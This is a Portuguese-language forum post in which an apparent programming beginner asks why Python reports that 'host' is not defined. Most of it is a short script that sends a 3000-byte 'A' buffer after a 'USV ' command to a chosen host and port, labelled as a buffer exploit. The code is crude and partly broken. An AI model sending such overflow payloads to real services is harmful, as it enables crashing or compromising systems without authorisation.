s.connect((host,port))
NameError: name 'host' is not defined
Ocorreu esse erro quando tentava terminar um código. O host está definido no início do código, entao deveria ser reconhecido normalmente.
Enfim, o código:
import os
import sys
import socket
for carg in sys.argv:
if carg == "-s":
argnum = sys.argv.index(carg)
argnum += 1
host = sys.argv[argnum]
elif carg == "-p":
argnum = sys.argv.index(carg)
argnum += 1
port = sys.argv[argnum]
buffer = "\x41"* 3000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send("USV " + buffer + "//r//n//r")
s.close()
print ("BUFFER_EXPLOIT enviado com sucesso!")
print ("")
exit
Se alguém tiver alguma luz para me dar nesse código ficarei muito grato. Sou novo em programação, cerca de 8 meses. Comecei em c/c++ e agora estou explorando outras.